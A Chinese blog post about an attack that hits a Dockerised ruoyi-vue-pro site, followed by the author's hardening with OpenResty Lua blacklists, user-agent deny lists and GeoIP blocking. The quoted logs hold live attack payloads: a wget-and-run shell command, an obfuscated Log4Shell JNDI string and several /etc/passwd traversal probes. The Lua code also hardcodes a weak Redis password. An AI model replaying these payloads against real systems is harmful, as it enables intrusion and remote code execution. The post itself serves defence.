当我准备重新构建docker项目时,发现一条某个IP的不正常请求.
日志如下

yudao-ui-admin    | 156.219.223.76 - - [09/Apr/2022:16:49:37 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+23.94.50.159/jaws;sh+/tmp/jaws HTTP/1.1" 200 10315 "-" "Hello, world" "-"

我的项目是用的开源项目 ruoyi-vue-pro

用的是:docker构建项目, nginx 反向代理HTTPS, 到 springboot项目的48080端口.

nginx与java项目都在容器里面,很显然发送GET /shell?这个请求时候必然没啥权限,

毕竟在nginx容器中,基本没啥权限.

然后这个攻击者 又看到是java的springboot项目,又发送了这个请求

日志如下:

yudao-ui-admin
| 152.67.35.9 - -[09/Apr/2022:16:50:16 +0000] "GET / HTTP/1.1" 200 10315
"t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvcnVubmFibGU7IGN1cmwgLU8gaHR0cDovLzE0MC4yMzguMTgwLjM0L3J1bm5hYmxlOyBjaG1vZCA3NzcgcnVubmFibGU7IC4vcnVubmFibGUgcnVubmVy}')"
"t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvcnVubmFibGU7IGN1cmwgLU8gaHR0cDovLzE0MC4yMzguMTgwLjM0L3J1bm5hYmxlOyBjaG1vZCA3NzcgcnVubmFibGU7IC4vcnVubmFibGUgcnVubmVy}')"
"t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvcnVubmFibGU7IGN1cmwgLU8gaHR0cDovLzE0MC4yMzguMTgwLjM0L3J1bm5hYmxlOyBjaG1vZCA3NzcgcnVubmFibGU7IC4vcnVubmFibGUgcnVubmVy}')"

看描述是 Tomcat相关,想起最近Tomcatspringboot漏洞 Java9才能执行,但是我是Java8容器构建的,基本没啥问题

.然后看到了JNDI关键词,

也有可能是Log4J2漏洞攻击,我也查了一下框架用的是log4j-api:2.17.1,也没啥问题

,为了防止他继续攻击,我直接 一个命令docker-compose down,

然后防火墙 80 443接口都关了.也顺利解决

我又打开端口,让他继续攻击:

看看日志:

yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:17:54:59 +0000] "GET /src/redirect.php?plugins[]=../../../../etc/passwd%00 HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36" "-"
yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:17:55:31 +0000] "GET /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd HTTP/1.1" 200 10315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" "-"
yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:17:55:31 +0000] "GET /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" "-"
yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:18:01:37 +0000] "GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36" "-"
yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:18:01:43 +0000] "GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1" 200 10315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36" "-"
yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:18:04:05 +0000] "POST / HTTP/1.1" 400 657 "\x5Cx00" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36" "-"
yudao-ui-admin    | 34.140.248.32 - - [09/Apr/2022:18:05:47 +0000] "GET / HTTP/1.1" 200 10315 "-" "python-requests/2.27.1" "-"
yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:18:06:33 +0000] "POST /xmlrpc/pingback HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36" "-"
yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:18:06:34 +0000] "POST /xmlrpc/pingback HTTP/1.1" 405 559 "-" "Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" "-"

笑死我啦.居然还在找我的passwd密码.这个docker nginx容器.密码有个屁用

yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:18:07:21 +0000] "GET /../../../../../../../../../../../../../etc/passwd HTTP/1.1" 400 157 "-" "-" "-"
yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:18:07:21 +0000] "GET /../../../../../../../../../../../../../etc/passwd HTTP/1.1" 400 157 "-" "-" "-"
yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:18:10:25 +0000] "GET /wp-content/plugins/ad-widget/views/modal/?step=../../../../../../../etc/passwd%00 HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36" "-"
yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:18:10:25 +0000] "GET /wp-content/plugins/ad-widget/views/modal/?step=../../../../../../../etc/passwd%00 HTTP/1.1" 200 10315 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" "-"
yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:18:12:06 +0000] "GET /index.php?option=com_arcadegames&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 10315 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" "-"
yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:18:12:06 +0000] "GET /index.php?option=com_arcadegames&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36" "-"
yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:18:12:38 +0000] "GET /wp-content/plugins/zip-attachments/download.php?za_file=../../../../../etc/passwd&za_filename=passwd HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36" "-"
yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:18:12:38 +0000] "GET /wp-content/plugins/zip-attachments/download.php?za_file=../../../../../etc/passwd&za_filename=passwd HTTP/1.1" 200 10315 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36" "-"
yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:18:23:49 +0000] "POST /cobbler_api HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36" "-"
yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:18:23:50 +0000] "POST /cobbler_api HTTP/1.1" 405 559 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36" "-"yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:18:24:13 +0000] "POST /search/ HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36" "-"
yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:18:24:14 +0000] "POST /search/ HTTP/1.1" 405 559 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36" "-"yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:18:24:44 +0000] "GET /wp-admin/admin-ajax.php?jvfrm_spot_get_json&fn=../../wp-config.php&callback=jQuery HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36" "-"
yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:18:24:46 +0000] "GET /wp-admin/admin-ajax.php?jvfrm_spot_get_json&fn=../../wp-config.php&callback=jQuery HTTP/1.1" 200 10315 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36" "-"yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:18:25:29 +0000] "GET /+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36" "-"
yudao-ui-admin    | 104.192.3.54 - - [09/Apr/2022:18:25:29 +0000] "GET /+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions HTTP/1.1" 200 10315 "-" "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" "-"

放大招

修改nginx配置

allow 我的Ip;
deny all;

还在继续攻击

攻击地址也从国外 转到了国内,
先是3:03的时候
香港的Ip地址 154.209.125.49,
然后3:13的时候
上海的IP地址 61.151.178.249

把80端口关了。只留443端口。
就只有 这个荷兰的Ip 地址 94.102.56.151,
攻击443端口

经过几天的摸索开始修改nginx

把nginx 换成 openresty

############## nginx #####################
FROM openresty/openresty as yudao-ui-admin
ENV TZ Asia/Shanghai
RUN  ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
COPY  ./404.html /usr/share/nginx/html/404.html
COPY  ./yudao-ui-admin/dist/ /usr/share/nginx/html/yudao-admin
COPY ./nginx.conf /usr/local/openresty/nginx/conf/nginx.conf

添加lua脚本: access_limit_open.lua

存放在 /etc/nginx/lua/access_limit_open.lua 下

local function close_redis(red)if not red thenreturnendlocal pool_max_idle_time = 10000local pool_size = 100local ok, err = red:set_keepalive(pool_max_idle_time, pool_size)if not ok thenngx.say("set keepalive err : ", err)end
endlocal BUSINESS = 404 --nginx的location中定义的业务标识符--连接redis
local redis = require "resty.redis"
local conn = redis:new()
local ok, err = conn:connect("127.0.0.1", 6379)
conn:set_timeout(2000) --超时时间2秒--如果连接失败,跳转到脚本结尾
if not ok then--goto FLAGclose_redis(conn)
endlocal count, err = conn:get_reused_times()
if 0 == count then----新建连接,需要认证密码ok, err = conn:auth("123456")if not ok thenngx.say("failed to auth: ", err)returnend
elseif err then----从连接池中获取连接,无需再次认证密码 ngx.say("failed to get reused times: ", err)return
endlocal headers = ngx.req.get_headers()
local clientIP = headers["x-forwarded-for"]
if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" thenclientIP = headers["Proxy-Client-IP"]
end
if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" thenclientIP = headers["WL-Proxy-Client-IP"]
end
if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" thenclientIP = ngx.var.remote_addr
end
-- 对于通过多个代理的情况,第一个IP为客户端真实IP,多个IP按照','分割
if clientIP ~= nil and string.len(clientIP) > 15 thenlocal pos = string.find(clientIP, ",", 1)clientIP = string.sub(clientIP, 1, pos - 1)
endconn:select(0)
local result_white = conn:sismember("WHITE-IP", clientIP)
if result_white == nil or result_white == 1 thenngx.log(ngx.ERR, "white_ip:", clientIP)
elselocal result_black = conn:sismember("BAN-IP", clientIP)if result_black == 1 thenngx.log(ngx.ERR, "black_ip:", clientIP)ngx.log(ngx.ERR, "black_remote_addr:", ngx.var.remote_addr)ngx.exit(403)end
end
close_redis(conn)-- 结束标记
local ok, err = conn:close()

添加lua脚本: access_limit.lua

存放在 /etc/nginx/lua/access_limit.lua 下

local function close_redis(red)if not red thenreturnendlocal pool_max_idle_time = 10000local pool_size = 100local ok, err = red:set_keepalive(pool_max_idle_time, pool_size)if not ok thenngx.say("set keepalive err : ", err)end
end--连接redis
local redis = require "resty.redis"
local conn = redis:new()
local ok, err = conn:connect("127.0.0.1", 6379)
conn:set_timeout(2000) --超时时间2秒--如果连接失败,跳转到脚本结尾
if not ok then--goto FLAGclose_redis(conn)
endlocal count, err = conn:get_reused_times()
if 0 == count then----新建连接,需要认证密码ok, err = conn:auth("123456")if not ok thenngx.say("failed to auth: ", err)returnend
elseif err then----从连接池中获取连接,无需再次认证密码 ngx.say("failed to get reused times: ", err)return
endlocal headers = ngx.req.get_headers()
local clientIP = headers["x-forwarded-for"]
if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" thenclientIP = headers["Proxy-Client-IP"]
end
if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" thenclientIP = headers["WL-Proxy-Client-IP"]
end
if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" thenclientIP = ngx.var.remote_addr
end
-- 对于通过多个代理的情况,第一个IP为客户端真实IP,多个IP按照','分割
if clientIP ~= nil and string.len(clientIP) > 15 thenlocal pos = string.find(clientIP, ",", 1)clientIP = string.sub(clientIP, 1, pos - 1)
endconn:select(0)
local result_white = conn:sismember("WHITE-IP", clientIP)
if result_white == nil or result_white == 1 thenngx.log(ngx.ERR, "white_ip:", clientIP)
elselocal result_black = conn:sadd("BAN-IP", clientIP)ngx.log(ngx.ERR, "ban_ip:", clientIP)ngx.log(ngx.ERR, "ban_remote_addr:", ngx.var.remote_addr)ngx.exit(403)
end
close_redis(conn)
-- 结束标记
local ok, err = conn:close()

lua脚本 设置了 白名单与黑名单:

注意lua 连接redis 要填写外网ip,不知道为啥不能用docker 容器名连接

白名单 在redis set存储,key为 WHITE-IP, value为IP

黑名单 在redis set存储,key为 BAN-IP,value为IP

nginx主配置 nginx.conf

# nginx.conf  --  docker-openresty
#
# This file is installed to:
#   `/usr/local/openresty/nginx/conf/nginx.conf`
# and is the file loaded by nginx at startup,
# unless the user specifies otherwise.
#
# It tracks the upstream OpenResty's `nginx.conf`, but removes the `server`
# section and adds this directive:
#     `include /etc/nginx/conf.d/*.conf;`
#
# The `docker-openresty` file `nginx.vh.default.conf` is copied to
# `/etc/nginx/conf.d/default.conf`.  It contains the `server section
# of the upstream `nginx.conf`.
#
# See https://github.com/openresty/docker-openresty/blob/master/README.md#nginx-config-files
##user  nobody;
#worker_processes 1;# Enables the use of JIT for regular expressions to speed-up their processing.
pcre_jit on;#error_log  logs/error.log;
#error_log  logs/error.log  notice;
#error_log  logs/error.log  info;error_log  logs/error.log  warn;#pid        logs/nginx.pid;events {worker_connections  1024;
}http {include       mime.types;default_type  application/octet-stream;# Enables or disables the use of underscores in client request header fields.# When the use of underscores is disabled, request header fields whose names contain underscores are marked as invalid and become subject to the ignore_invalid_headers directive.# underscores_in_headers off;log_format  main  '$remote_addr - $remote_user [$time_local] "$request" ''$status $body_bytes_sent "$http_referer" ''"$http_user_agent" "$http_x_forwarded_for"';access_log  /dev/stdout  main;log_format nginxlog_json escape=json '{ "timestamp": "$time_local", ''"remote_addr": "$remote_addr", ''"body_bytes_sent": $body_bytes_sent, ''"request_time": $request_time, ''"response_status": $status, ''"request": "$request", ''"request_method": "$request_method", ''"host": "$host",''"upstream_addr": "$upstream_addr",''"upstream_host": "$upstream_http_host",''"upstream_resp_time": "$upstream_response_time",''"http_x_forwarded_for": "$http_x_forwarded_for",''"http_referrer": "$http_referer", ''"http_user_agent": "$http_user_agent", ''"http_version": "$server_protocol", ''"nginx_access": true }';access_log logs/access_json.log  nginxlog_json;# See Move default writable paths to a dedicated directory (#119)# https://github.com/openresty/docker-openresty/issues/119client_body_temp_path /var/run/openresty/nginx-client-body;proxy_temp_path       /var/run/openresty/nginx-proxy;fastcgi_temp_path     /var/run/openresty/nginx-fastcgi;uwsgi_temp_path       /var/run/openresty/nginx-uwsgi;scgi_temp_path        /var/run/openresty/nginx-scgi;sendfile        on;#tcp_nopush     on;#keepalive_timeout  0;keepalive_timeout  65;client_max_body_size 100m;#gzip  on;access_by_lua_file /etc/nginx/lua/access_limit_open.lua;include /etc/nginx/conf.d/*.conf;# Don't reveal OpenResty version to clients.# server_tokens off;
}

只要是 http请求,就会 调用 access_by_lua_file /etc/nginx/lua/access_limit_open.lua;

defalut.conf

存放在 /etc/nginx/conf.d/defalut.conf 下

  server {listen       80;server_name  ***.***;# https配置参考 startlisten       443 ssl;# 证书直接存放 /docker/nginx/cert/ 目录下即可 更改证书名称即可 无需更改证书路径# ssl on;ssl_certificate      /etc/nginx/cert/*.*.crt; # /etc/nginx/cert/ 为docker映射路径 不允许更改ssl_certificate_key  /etc/nginx/cert/*.*.key; # /etc/nginx/cert/ 为docker映射路径 不允许更改ssl_session_timeout 5m;# 密码加密方式ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;# 指定密码为openssl支持的格式ssl_protocols TLSv1.2 TLSv1.3;#依赖SSLv3和TLSv1协议的服务器密码将优先于客户端密码ssl_prefer_server_ciphers  on;# https配置参考 endautoindex_localtime on;root   /usr/share/nginx/html;if ($request_method !~ ^(GET|POST)$) {return 403;}if ($http_user_agent ~* (Scrapy|Curl|HttpClient)) {return 403;}if ($http_user_agent ~ "FeedDemon|JikeSpider|Indy Library|Alexa Toolbar|AskTbFXTV|AhrefsBot|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Microsoft URL Control|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|MJ12bot|heritrix|EasouSpider|LinkpadBot|Ezooms|^$" ){return 403;}location ~* \.(xml|sh|env|php|aspx|asp|php5|zip|rar|sql|bak|gz|7z)$ {access_by_lua_file /etc/nginx/lua/access_limit.lua;}location / {try_files $uri $uri/ /index.html;index  index.html index.htm;}location /prod-api/ {proxy_set_header Host $http_host;proxy_set_header X-Real-IP $remote_addr;proxy_set_header REMOTE-HOST $remote_addr;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;proxy_pass http://yudao-server:48080/prod-api/;}error_page   500 502 503 504 404 403 /404.html;location = /404.html {access_by_lua_file /etc/nginx/lua/access_limit.lua;root   /usr/share/nginx/html;}}

因为我是Java 作为后端服务器,所有拦截所有xml|sh|env|php|aspx|asp|php5|zip|rar|sql|bak|gz|7z等等后缀的请求,并转发到 403

请求不是 GET|POST,转发到 403

请求头 http_user_agent 是爬虫的FeedDemon|JikeSpider|Indy Library|Alexa Toolbar|AskTbFXTV|AhrefsBot|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Microsoft URL Control|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|MJ12bot|heritrix|EasouSpider|LinkpadBot|Ezooms|Scrapy|Curl|HttpClient,转发 到403

只要触发403,全部都给我进黑名单 (っ °Д °;)っ

然后后面在java管理端编写几个操作 redis set集合的api

比如:

添加 白名单

stringRedisTemplate.opsForSet().add(WHITE_IP, ip);

添加 黑名单

stringRedisTemplate.opsForSet().add(BAN_IP, ip);

查询 所有白名单

stringRedisTemplate.opsForSet().members(WHITE_IP);

查询 所有黑名单

stringRedisTemplate.opsForSet().members(BAN_IP);






继续增加过滤规则(屏蔽国外IP)

集成 libmaxminddb lua-resty-maxminddb geo

下载 libmaxminddb-1.6.0.tar.gz

https://github.com/maxmind/libmaxminddb/releases

下载 GEOIP离线库

https://github.com/Dreamacro/maxmind-geoip/releases

修改 Dockerfile (注意docker-compose构建时 version要在3.2以上)

############## 构建 libmaxminddb #####################
FROM gcc:9 as libmaxminddb-build
ADD libmaxminddb-1.6.0.tar.gz /
RUN cd /libmaxminddb-1.6.0 && ./configure && make && make install && ldconfig -v############## nginx #####################
FROM openresty/openresty:1.19.9.1-10-centos as yudao-ui-admin
ENV TZ Asia/Shanghai
COPY  ./yudao-ui-admin/dist/ /usr/share/nginx/html/yudao-admin
COPY  ./404.html /usr/share/nginx/html/404.html
COPY  ./Country.mmdb /etc/nginx/mmdb/Country.mmdb
COPY ./nginx.conf /usr/local/openresty/nginx/conf/nginx.conf
COPY --from=libmaxminddb-build   /usr/local/lib/libmaxminddb.so.0.0.7 /lib64RUN  ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone \&& opm get anjia0532/lua-resty-maxminddb \&& ln -s /lib64/libmaxminddb.so.0.0.7 /lib64/libmaxminddb.so \&& ldconfig -v

修改 access_limit_open.lua ,只允许CN访问,其他自动跳转403

local headers = ngx.req.get_headers()
local clientIP = headers["x-forwarded-for"]
if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" thenclientIP = headers["Proxy-Client-IP"]
end
if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" thenclientIP = headers["WL-Proxy-Client-IP"]
end
if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" thenclientIP = ngx.var.remote_addr
end
-- 对于通过多个代理的情况,第一个IP为客户端真实IP,多个IP按照','分割
if clientIP ~= nil and string.len(clientIP) > 15 thenlocal pos = string.find(clientIP, ",", 1)clientIP = string.sub(clientIP, 1, pos - 1)
endlocal geo = require 'resty.maxminddb'
if not geo.initted() thengeo.init("/etc/nginx/mmdb/Country.mmdb")
endlocal res, err = geo.lookup(clientIP)if not res thenngx.log(ngx.ERR, ' failed to lookup by ip , reason :', err)
elsefor k, v in pairs(res) doif (k == "country") thenfor key, item in pairs(v) doif (key == "iso_code") thenngx.log(ngx.ERR, ' this code ', item)if item == "CN" thenelsengx.exit(403)endendendendend
endlocal function close_redis(red)if not red thenreturnendlocal pool_max_idle_time = 10000local pool_size = 100local ok, err = red:set_keepalive(pool_max_idle_time, pool_size)if not ok thenngx.log(ngx.ERR,"set keepalive err : ", err)end
end--连接redis
local redis = require "resty.redis"
local conn = redis:new()
local ok, err = conn:connect("127.0.0.1", 6379)
conn:set_timeout(2000) --超时时间2秒--如果连接失败,跳转到脚本结尾
if not ok then--goto FLAGclose_redis(conn)
endlocal count, err = conn:get_reused_times()
if 0 == count then----新建连接,需要认证密码ok, err = conn:auth("123456")if not ok thenngx.log(ngx.ERR,"failed to auth: ", err)returnend
elseif err then----从连接池中获取连接,无需再次认证密码 ngx.say("failed to get reused times: ", err)return
endconn:select(0)
local result_white = conn:sismember("WHITE-IP", clientIP)
if result_white == nil or result_white == 1 thenngx.log(ngx.ERR, "white_ip:", clientIP)
elselocal result_black = conn:sismember("BAN-IP", clientIP)if result_black == 1 thenngx.log(ngx.ERR, "black_ip:", clientIP)ngx.exit(403)end
end
close_redis(conn)-- 结束标记
local ok, err = conn:close()






继续优化lua代码

修改 nginx.conf

添加 lua cache 缓存120M

    # lua cachelua_shared_dict dis_cache 120m;

nginx.conf 全部代码

# nginx.conf  --  docker-openresty
#
# This file is installed to:
#   `/usr/local/openresty/nginx/conf/nginx.conf`
# and is the file loaded by nginx at startup,
# unless the user specifies otherwise.
#
# It tracks the upstream OpenResty's `nginx.conf`, but removes the `server`
# section and adds this directive:
#     `include /etc/nginx/conf.d/*.conf;`
#
# The `docker-openresty` file `nginx.vh.default.conf` is copied to
# `/etc/nginx/conf.d/default.conf`.  It contains the `server section
# of the upstream `nginx.conf`.
#
# See https://github.com/openresty/docker-openresty/blob/master/README.md#nginx-config-files
##user  nobody;
#worker_processes 1;# Enables the use of JIT for regular expressions to speed-up their processing.
pcre_jit on;#error_log  logs/error.log;
#error_log  logs/error.log  notice;
#error_log  logs/error.log  info;error_log  logs/error.log  warn;#pid        logs/nginx.pid;events {worker_connections  1024;
}http {include       mime.types;default_type  application/octet-stream;# Enables or disables the use of underscores in client request header fields.# When the use of underscores is disabled, request header fields whose names contain underscores are marked as invalid and become subject to the ignore_invalid_headers directive.# underscores_in_headers off;log_format  main  '$remote_addr - $remote_user [$time_local] "$request" ''$status $body_bytes_sent "$http_referer" ''"$http_user_agent" "$http_x_forwarded_for"';access_log  /dev/stdout  main;#         Log in JSON Formatlog_format nginxlog_json escape=json '{ "timestamp": "$time_local", ''"remote_addr": "$remote_addr", ''"body_bytes_sent": $body_bytes_sent, ''"request_time": $request_time, ''"response_status": $status, ''"request": "$request", ''"request_method": "$request_method", ''"host": "$host",''"upstream_addr": "$upstream_addr",''"upstream_host": "$upstream_http_host",''"upstream_resp_time": "$upstream_response_time",''"http_x_forwarded_for": "$http_x_forwarded_for",''"http_referrer": "$http_referer", ''"http_user_agent": "$http_user_agent", ''"http_version": "$server_protocol", ''"nginx_access": true }';access_log logs/access_json.log  nginxlog_json;# See Move default writable paths to a dedicated directory (#119)# https://github.com/openresty/docker-openresty/issues/119client_body_temp_path /var/run/openresty/nginx-client-body;proxy_temp_path       /var/run/openresty/nginx-proxy;fastcgi_temp_path     /var/run/openresty/nginx-fastcgi;uwsgi_temp_path       /var/run/openresty/nginx-uwsgi;scgi_temp_path        /var/run/openresty/nginx-scgi;sendfile        on;#tcp_nopush     on;#keepalive_timeout  0;keepalive_timeout  65;client_max_body_size 100m;# lua cachelua_shared_dict dis_cache 120m;gzip on;gzip_min_length 1k;     # 设置允许压缩的页面最小字节数gzip_buffers 4 16k;     # 用来存储 gzip 的压缩结果gzip_http_version 1.1;  # 识别 HTTP 协议版本gzip_comp_level 2;      # 设置 gzip 的压缩比 1-9。1 压缩比最小但最快,而 9 相反gzip_types gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; # 指定压缩类型gzip_proxied any;       # 无论后端服务器的 headers 头返回什么信息,都无条件启用压缩#gzip  on;access_by_lua_file /etc/nginx/lua/access_limit_open.lua;include /etc/nginx/conf.d/*.conf;# Don't reveal OpenResty version to clients.# server_tokens off;
}

修改 lua脚本(access_limit_open.lua)

主要添加nginx本地缓存,当本地缓存没有时,请求redis

local function get_client_ip()local headers = ngx.req.get_headers()local clientIP = headers["x-forwarded-for"]if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" thenclientIP = headers["Proxy-Client-IP"]endif clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" thenclientIP = headers["WL-Proxy-Client-IP"]endif clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" thenclientIP = ngx.var.remote_addrend-- 对于通过多个代理的情况,第一个IP为客户端真实IP,多个IP按照','分割if clientIP ~= nil and string.len(clientIP) > 15 thenlocal pos = string.find(clientIP, ",", 1)clientIP = string.sub(clientIP, 1, pos - 1)endreturn clientIP;
endlocal function check_cn(ip)local geo = require 'resty.maxminddb'if not geo.initted() thengeo.init("/etc/nginx/mmdb/Country.mmdb")endlocal res, err = geo.lookup(ip)if not res thenngx.log(ngx.ERR, ' failed to lookup by ip , reason :', err)elsefor k, v in pairs(res) doif (k == "country") thenfor key, item in pairs(v) doif (key == "iso_code") thenif item == "CN" thenngx.log(ngx.ERR, ' this counrty: ', item)return 1;elsengx.log(ngx.ERR, ' this counrty: ', item)return 0;endendendendendend
endlocal function close_redis(red)if not red thenreturnendlocal pool_max_idle_time = 10000local pool_size = 100local ok, err = red:set_keepalive(pool_max_idle_time, pool_size)if not ok thenngx.log(ngx.ERR, "set keepalive err : ", err)end
end-- 获取nginx 本地缓存
local cache_ngx = ngx.shared.dis_cache;
-- 获取 请求IP
local clientIP = get_client_ip();--根据IP 获取本地黑名单缓存数据
local whiteIpCache = cache_ngx:get('white_ip_' .. clientIP);
if whiteIpCache == "" or whiteIpCache == nil then--连接redislocal redis = require "resty.redis"local conn = redis:new()local ok, err = conn:connect("127.0.0.1", 6379)conn:set_timeout(2000) --超时时间2秒--如果连接失败,跳转到脚本结尾if not ok then--goto FLAGclose_redis(conn)endlocal count, err = conn:get_reused_times()if 0 == count then----新建连接,需要认证密码ok, err = conn:auth("123456")if not ok thenngx.log(ngx.ERR, "failed to auth: ", err)returnendelseif err then---- 从连接池中获取连接,无需再次认证密码 ngx.say("failed to get reused times: ", err)returnendconn:select(0)--根据IP 获取Redis白名单缓存数据local result_white = conn:sismember("WHITE-IP", clientIP)if result_white == 1 thenngx.log(ngx.ERR, "white_ip:", clientIP)cache_ngx:set('white_ip_' .. clientIP, 1, 30 * 24 * 60 * 60);else-- 判断是否是国外IP, 直接设为黑名单,并且返回403local flag = check_cn(clientIP);if flag == 0 then-- 本地缓存黑名单 